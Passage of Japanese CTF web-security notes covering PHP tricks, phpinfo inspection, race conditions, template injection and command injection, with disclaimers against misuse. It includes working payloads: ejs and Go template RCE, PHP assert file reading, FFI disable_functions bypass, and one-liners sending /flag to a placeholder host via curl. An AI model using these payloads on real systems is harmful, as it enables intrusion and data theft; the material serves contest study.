  • mysqli_real_escape_string
  • バイパステク:他の入力を持ってくる
  • 攻撃コードに書いてあったコードについて
    • error_reporting(0); エラーを出さない
    • set_time_limit(0); 実行時間を無限にする
      • 設定は上書きされるっぽいので、設定でなんとかするのは難しそう
  • バッファを使い切ってHeader出力を抑制するテク
    • Write-ups to justCTF [*] 2020 by @terjanq - HackMD
    • PHPではheader出力の前に画面出力をしてはならないのだが、バッファ機能が有効である場合、画面出力のあとにheader出力をしてもバッファしてあれば差し込むことができる
    • だが、header出力をして差し込む前に、バッファのサイズ上限まで出力されていた場合は容量不足で差し込むことができず、headerが消滅する
    • このwriteupでは、それを利用してCSPヘッダーを差し込ませないようにしている
    • バッファのサイズ上限まで出力させるには、エラーメッセージを用いている
  • $_SERVER
    • REQUEST_URI
      • ページにアクセスするために指定されたURIを指すので、
      • GET http://localhost/test.php?query=value#fragment HTTP/1.1みたいにするとhttp://localhost/test.php?query=value#fragmentとなる
    • HTTP_HOST
      • リクエストにHostヘッダーがあった場合にそれが入る。偽装可能
  • GET Parameterのkeyにdot,spaceを入れると、underscoreに自動変換される
  • 古いPHPだと結構ヌルバイト攻撃が有効っぽい(未確定)
  • PHPトークン生成には単にCSPRING(暗号論的に安全な疑似乱数生成装置)を使うこと
    • ハッシュ化するとか余計なことをすることで脆弱性が入り込みやすくなる
    • PHP7以降ではrandom_bytes関数を使うだけ
    • mt_rand関数を引数無しで呼ぶと、31ビットの範囲になるからエントロピーが不足する(128bits以上がデファクトスタンダード
  • PHP assert() Vulnerable to Local File Inclusion – All things in moderation
    • assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
    • assert("strpos('', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
      • $file = ', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1をやった結果
    • NahamCon CTF 2021 - Capture The Flag (CTF)
      • assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");' .system("id"). 'を入れる
  • .phpsPHPソースコードファイルとして使える拡張子
  • open_basedirのバイパス手法
  • new finfo(1, '.');とやればとあるディレクトリ下のファイルを無理やり読み込ませて、エラー情報から内容を得ることができる
    • Securinets CTF Quals 2021 の writeup - st98 の日記帳
    • finfo __constructでmagic_fileというオプションがmagic database fileを取得するために、特定のディレクトリにあるすべてのファイルを解析してくるようだ。ここmagic_fileオプション別のパスを与えると解析してくるファイルのフォーマットが合わず、警告を使用してファイルの内容を出力してくれるようだ。ちなみにfinfo classはfinfo関数のオブジェクト
      • まあ実行すると、全部解析してくれて、フォーマットが合わないから警告が出るけど、そこに情報が出ちゃうからファイルパスが抜けるんだろう
  • $_REQUEST$_GET,$_POST,$_COOKIEの内容をまとめた連想配列
    • こういういろんな所からデータ取れるものは意図せずデータインジェクションが発生しうるので使うのはやめといたほうがいい
  • idn_to_ascii
  • create_function関数
  • mail関数を使ったbypassテク
  • glob関数は先頭がドットのファイルは取ってこないので、foreach (glob("temp/$dname/*") as $file) { @unlink($file); }こういうので削除を回避できる
  • @rmdir("temp/$dname");は中身に何か残ってたら失敗する
  • @move_uploaded_file関数は引数のパスが長いと失敗する。300文字くらいで失敗するらしい
  • FFIについて
    • PHPからdllファイルを読み込んで実行できる機構
    • $ffi = FFI::load('/flag.h');$a = $ffi->flag_fUn3t1on_fFi();var_dump(FFI::string($a));みたいな感じ
    • メモリ抜き出しも行える
    • FFIでRCEしたいとき(PHP 7.4.X以下ならFFIを経由することでdisable_functionsをbypassできる) <?php $ffi=FFI::cdef("int system(const char *command);"); $ffi->system('ls'); ?>
  • OPcache
    • PHPのキャッシュ機構
    • 攻撃手法
      1. phpinfoを見て、opcacheが有効か確認
      2. opcache.file_cache = /var/www/cache/ならば/var/www/cache/[system_id]/var/www/html/flag.php.binを探せばいい。
      3. これのsystem_id_scraper.pyを使ってsystem_idを抜き出す python ./system_id_scraper.py http://carthagods.3k.ctf.to:8039/info.php
    • CTFtime.org / 3kCTF-2020 / carthagods
  • Phar, PHPアーカイブ

phpinfo

  • 見方
    • System: OSがWindowsLinux
    • Registered PHP Streams, Registered Stream Filters: 使えるストリームが分かる(php://とか)
    • extension_dir: php拡張モジュールのパス(いつ使う?)
    • short_open_tag: <?=,<? echo,<? ?>が使えるかどうか
    • disable_functions: 使えない関数が列挙されている
    • disable_classes: 使えないクラスが列挙されている
      • これをもとに使える関数・クラスを得たい場合は手元で全部使える状態で使えるやつを抜き出してdiffを見ればいい ```php <?php function get_diff($a, $b) { $a = file_get_contents($a); $a = str_replace(' ', '', $a); $a = explode(',', $a);

        return implode(', ', array_diff($b, $a)) . "\n"; }

      echo "functions: " . get_diff('disable_functions.txt', get_defined_functions()['internal']); echo "classes: " . get_diff('disable_classes.txt', get_declared_classes()); ```

    • open_basedir
      • ここにフォルダパスが書かれている場合は、ファイルオープンはこのパス以下じゃないとダメ。
      • でも、DirectoryIteratorを使えば任意の場所のlsができる。
      • FFI::loadもこれの影響を受けない。
    • SERVER_ADDR: サーバのIPアドレス
    • DOCUMENT_ROOT: ルートディレクト
      • linuxなら/var/www/htmlが普通?
    • session: セッションの設定が見られる(todo: 観点は?)
      • セッションが保存されている場所や使用可能な場所を確認することができる
    • gopher: これがあればSSRFできるかも
    • fastcgiが有効になってればRCEとかできたりする(todo: どうやって確認?)
    • allow_url_include: 有効ならLFIできる?(よくわかってない)
    • allow_url_fopen: 有効ならLFIできる?(よくわかってない)
      • urlで外部ファイルをfopenできるってだけ?
      • REMOTE FILE INCLUSIONというらしい
    • asp_tags: aspタグを解析するために有効になっている
    • magic_quotes_gpc: adslashes() のような文字をエスケープ
    • libxml 2.9 より前のバージョンでは、外部エンティティへの参照をデフォルトでサポートしていたため、XXEできる
    • opcacheはPHPコードをコンパイルしてキャッシュしておくもの
    • imapが有効なら、CVE-2018-19518かも
    • upload_tmp_dir: 一時ファイルが保存されているフォルダが表示されますが、ファイル名はランダム
  • 参考
  • php.iniのスキャナー

PHP難読化

  • YAK Pro
<?php
goto IF8nM; xf_W1: FNJF5: goto C3HKQ; FwMGj: echo $GPDVR; goto Caizj; rOdKz: r9mi3: goto EDaji;

こんな感じになる。根性で解読する。

CTFのWebセキュリティにおけるRace Condition

この記事はCTFのWebセキュリティ Advent Calendar 2021の16日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

レースコンディション Race Condition

どういう問題を発生させられるか

例えば、クーポンを使用する処理があって以下のようなフローになっているとする。

  1. クーポンがあるか確認
  2. クーポンを使用して、クーポンを消す

2つのプロセスで同一クーポンに対してリクエストをほぼ同時に投げたとする。
プロセスAとプロセスBにおいて、「A1 → B1 → A2 → B2」のような順番で処理が行われてしまうと、
クーポンは1つなんだけれど、クーポン使用が2回行われてしまう可能性がある。
このように、排他処理を適切に行わないことで、競合状態を発生させて、攻撃を行う。

  • 他問題
    • Race conditions
      • TOCTOU
      • コンテキスト外でオブジェクトが再利用される
      • 処理フロー内でオブジェクトが編集される
    • Deadlocks

体系的にはどんな問題に適用される?

  • 整合性チェックと実際の処理に時間差がある場合
  • 整合性チェックを行う場合に一般的に紛れ込むのかもしれない
  • 他にもロジックミスとしてrace conditionが絡んでいる場合もあり、一概に言えない

攻撃シナリオ

  • ファイルをアップロードして何かを行うサービス
    • サーバ側処理
        1. ファイルをtmpフォルダにアップロード
        1. アップロードファイルに対してサーバ側が処理を行う
        1. アップロードしたファイルを削除する
    • 攻撃
      • 1でファイルをアップロードするときにphpファイルをアップロードしておく。その直後、3で削除される前に参照して、任意コード実行を達成する
  • 購入サイト
    • サーバ側処理「お金があるか確認→購入処理→お金を減らす」
    • 同時に購入することでお金の消費は1回で複数個数買える場合がある
      • これはお金を減らす処理が「最初にお金があるか確認したものから金額を減らして更新する」場合に特に有効
  • 送金システム
    • サーバ側処理「送金→記録」
    • これも同時に行えば、お金の減りは1回だけど複数回送れたりする

tips

CTFのWebセキュリティにおけるSSTIまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の15日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Template Injection

  • テンプレートエンジン: データの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジン
    • この機能を悪用し、悪意ある文字列を入力することで、意図しない変数の中身を表示したり、RCEを起こしたりする脆弱性
    • クライアント側かサーバ側かで2通りある。
    • SSTI: Server-Side Template Injection, Server-Sideでテンプレートエンジンを動かして色々やる
    • CSTI: Client-Side Template Injection, Client-Sideでテンプレートエンジンを動かして色々やる

Server-Side Template Injection

まずはこれを試そう

Python

Java

  • Thymeleaf

javascript, node.js

  • Handlebars
    • {{変数名}}で変数の中身を出せる
    • グローバル変数の中身全部出る {{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}
    • 参考になる → Built-in Helpers | Handlebars
    • registerPartialで指定されているレジスタを出力したいとき
      • hbs.registerPartial('FLAG', FLAG);とあれば、{{> FLAG}}
    • Defenit CTF 2020 の write-up - st98 の日記帳
      • FLAGという言葉はつかえないけど、FLAGを得たいとき
      • {{.}}で与えられている変数すべてをオブジェクトとして参照できる
      • {{#each .}}{{@key}}<br>{{/each}}のように#each というヘルパーを使えばオブジェクトに対して反復的に処理ができ、#each によって囲まれているブロックで @key という変数を使えば現在参照されているキーが得られる
      • {{#each .}}{{@key}}<br>{{/each}}で変数すべての名前が得られる
      • {{#each .}}{{#if (lookup . "toString")}}{{.}}<br>{{/if}}{{/each}}でその中でtoStringを持つものだけ出力する
  • ejs
    • RCE <%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
    • LFI <%- include('../../../app.js') %>
    • <%= 7*7 %>
  • dust.js

Go

  • templates
    • template - The Go Programming Language
    • {{goWAF}}こういう感じの構文
    • goWAF
      • {{print "Test"}}とやると、Testが出力される。これは単にprint("Test")を呼んでいる感じ。こういう感じに関数呼び出しができる
      • 入れ子構造にしたいときは{{f(g "arg")}}みたいにすると、f(g("arg"))という呼び出しになる
    • Go SSTI Method Confusion
      • {{.System "id"}}でRCE達成
      • {{}.File "/etc/passwd"}でLFI達成
      • {{.}}で与えられてる変数が全部見れる
    • CTFtime.org / H@cktivityCon 2021 CTF / Go Blog
      • 全ページに表示される自分の名前部分にSSTIの脆弱性がある
      • 投稿サイトなのだが、投稿されたポストを見ると{{.Post.Author.Username}}のような感じでポスト者の情報がテンプレートに与えられている
      • なので、adminが投稿したポストを全ページにあるSSTIを利用して{{.}}とやるとadmin(投稿者)にまつわる色々情報が見えてしまう
      • この情報からadminのメールアドレスを抜き出す
      • .Post.AuthorはUser構造体になっていて、関数としてChangePasswordを持っている
      • SSTIでメソッドを呼び出すこともできるので、{{.Post.Author.ChangePassword "NewPassword"}}とすればパスワード変更ができ、TakeOver

Client-Side Template Injection

  • できてXSSな気がするが…
  • 以下のようなエンジンが狙われる
    • AngularJS
      • dangerouslySetInnerHTMLが肝らしいがよくわかってない
    • ReactJS

CTFのWebセキュリティにおけるCommand Injectionまとめ(Linux, Windows, RCE)

この記事はCTFのWebセキュリティ Advent Calendar 2021の14日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

RCE/コマンドインジェクション

  • RCE: Remote Code Execution
    • 遠隔で意図しないコードを走らせることでシステムを侵害するもの
    • コマンドインジェクションは、コマンドインジェクションができるとRCEできてしまうみたいな繋がり
  • RCEの契機

実行時に使えるコマンドについて

Linux

  • よく使う
    • id 実行ユーザーなどの実行情報が得られる。これをコマンドインジェクションのテストに利用しているのをよく見かける
    • env > dump.txt 環境変数持ってくる。Dockerで作られている場合は環境変数にデータが入ってる時がよくある
    • cat [file] fileの中身を画面出力する
      • cat * フォルダのファイルをすべてcatしてくる
      • cat /opt/flag.txtの代わりecho `</opt/flag.txt`echo $(</opt/flag.txt)
  • findテク
    • find / -name "user.txt" 2>/dev/null user.txtというファイルを探してくる
    • find . -type f -exec cat {} + フラグを検索してくるコマンド
    • find / -iname "*flag*" flagという名前の入ったファイル名を探してくるコマンド
    • find / -name user.txt 2>/dev/null user.txtというファイルのパスを探してくるが、エラーが沢山出るときは、/dev/nullに出力して消している
    • find / -name mattermost 2>/dev/null mattermostの設定ファイルを探したいみたいなときはこういうのをやってみる
    • find / -name "user.txt" -exec md5sum {} \; 2>/dev/null 検索結果すべてについてmd5ハッシュ取得したいとき
    • find . -type f -exec tail -n+1 {} + 現在の階層以下のファイルをファイル名付きで中身を表示する
  • 持ってきて外部送信する
    • cat /flag | curl [url] -X POST -d @-
    • cat /flag | base64 | curl [url] -X POST -d @-
    • curl http://mydomain:8080/$(ls flag*)
  • ls
    • ls -la 大体これでいい
    • ls -alps 最終進化系
    • echo opt/*とするとls opt/の代わりに使える
    • head /*とするとls /の代わりに使えるし、中身も表示させる
    • ls -R 再帰的にフォルダの中身を確認できる -Raとすれば隠しフォルダも入る
  • 未分類
    • | less -R 色付きでlessできる
    • echo "[userpass]" | su [username] -c "[command]"
      • あるユーザー権限でコマンド実行したいとき
    • grep flag $(find $PWD -maxdepth 1 -type f -name main.py) | tee '/uploads/flag.txt'
      • $PWDはカレントディレクトリを指し、カレントディレクトリを深さ1でmain.pyという名前のファイルを探してくれる
      • そこから更にgrepでflagが入っている行を探してくる
      • それをパイプでteeコマンドに送り、アップロードフォルダ(ユーザーが直接参照可能な任意のフォルダ)に吐き出している
    • echo '{encoded}' | base64 -d | bash
      • base64化したコードが実行可能
    • base64 req.php
    • wget <webhook-url> これでRCE達成できてるかを確認できる
    • su [username] ユーザー変更
    • grepBinary file (standard input) matchesと言われたときはgrep-aオプションを使えばいい
    • ホスト側でsudo tcpdump -i eth0 icmpとして攻撃側でping [myip]を試すとパケットが来るかで実行できたか判断がつく
    • hostname -i 自身のIPアドレス取得
    • cat all.txt | grep -v "^#" | wc -l 先頭が#の行を削除して行数数えてる
    • grep -l phishing@email.com /home/ranger/Desktop/data/* phishing@email.comが含まれるファイルを探してくる
    • $(env | grep FLAG)でうまくとってこれなかったら、$(env | grep FLAG | base64)で取ってこれたことがある
  • 普通の操作
    • grep [検索したい文字列] -rl [検索対象フォルダのパス] 検索パス配下に検索したい文字列が含まれるファイルをリスト化してくる
    • grep -ir '.*' * 今のフォルダ以下の中身を全部持ってこれるコマンド

Windows

  • whoami ただ単に確認したいとき
  • ipconfig
  • tasklist
  • netstat -an
  • C:\Windows\System32\cmd.exe
    • そのままコマンド使うとき C:\Windows\System32\cmd.exe /c [command]
  • C:\Windows\System32\hostname.exe
    • ホスト名を返す
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

コマンドインジェクション

  • コマンドインジェクション
    • OSコマンドインジェクションみたいにOSが付くときもある
    • RCEの一種で、OSコマンドを呼び出している部分にインジェクションすることで、任意コードを実行する
    • そんな状況あるか?という話だが、メール送信をコマンド頼りにしていたり、最近だとAIエンジンをpythonで作ってて、適当にコマンド呼び出しで実行してたりすると、ありそうかなという感じ。
  • お手軽に差し込む場合は||command||とすればいい
    • 差し込み後にA||command||Bとなった場合、Aが不完全なら異常終了となり、commandが実行される
    • commandが正常終了されるような感じになっていればBは実行されずに終わる
    • ; sleep 10;とか||sleep 10||が最初は良さそう(レスポンスがなくてもわかるし)
  • パイプ文字について
    • A | B Aの標準出力をBの標準入力につなげるやつ
    • A && B Aを実行して正常終了したら、B実行
    • A & B AとBを並列実行
    • A || B Aを実行して異常終了したら、B実行
    • A; B Aを実行して、Bを実行
  • ペイロード
  • `で囲むと実行できたりする
  • 改行することで複文実行できる可能性がある \ncat flag.txtみたいな感じ

名前付きパイプ

  • mkfifoで作成できる
    • lsをしたときに先頭がpとして出てくる
    • 出力しようとすると入力されるまで待つし、逆に入力しようとすると出力されるまで待つ

テクまとめ

  • $(pwd | cut -c1)を使うと、/になる
    • ctf/flag.txtと書きたいけど/がフィルターされてるならctf$(pwd | cut -c1)flag.txtと書ける
  • RCEできるけど文字列制限が厳しい場合
    • 分割輸送テク
      • rm /tmp/[randomstring]
      • echo -n '[command]' >> /tmp/[randomstring]でコマンドを分割輸送
      • sh /tmp/[randomstring]
    • wgetで輸送してくるテク
      • .sh .ch /tmpして.sh wget aaaa.ef/x
      • .sh chmod 777 /tmp/x
  • スペースが使えないとき
    • {echo,hello,world}みたいに書くと、hello worldと出力される
      • {cd,..}&&{ls,-la}&&{cat,--,-FLAG-2-of-2-.txt}
      • ||{cd,..}||{cd,~}&&{ls,-la,icons}"
      • ||{cd,..}&&{ls,-la}&&{cat,index.cgi}
  • cd ..を使うことで../が禁止されててもなんとかなる
  • コマンドの頭に\(バックスラッシュ)をつけると、alias を無視してコマンドを入力できる。
    • lsにエイリアスがついて意地悪されても\lsとすれば従来のlsが実行可能
  • tarコマンド
    • UTCTF: Tar Inspector | Debugmen
    • --to-commandというのがあり、tarファイルの中身のファイルを指してファイル実行ができる
      • evil.shというのを入れたtarファイルで--to-command=sh evil.shとすれば実行可能
    • 後ろでエラーが出てしまうときは--mtime=に全部押し込むとエラーを消せる
  • curlコマンド
  • 検索の後にpipeを差し込むことで実現できたりする。blind command injection
  • base64を使って文字種制限をバイパスする HactivityCon 2021 CTF Web challenge writeup - きなこもち。
    1. echo "base64-decoded payload" > /tmp/payload.txtペイロードを送り込む
    2. echo "import base64" > /tmp/shell.pyecho "exec(base64.b64decode(open('/tmp/payload.txt').read()).decode('utf8'))" >> /tmp/shell.pyで実行コード作成
    3. python3 /tmp/shell.pyで発動
  • Blind Command Injection
    • 外部の通信ができないが、エラー発生などからサイドチャネル的に情報を抜き出してくる
    • st98 の日記帳 - コピーのMicroservices As A Service 1
    • (ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'という感じでビット演算を利用して1ビットずつ特定していく

言語/フレームワーク

PHP

Ruby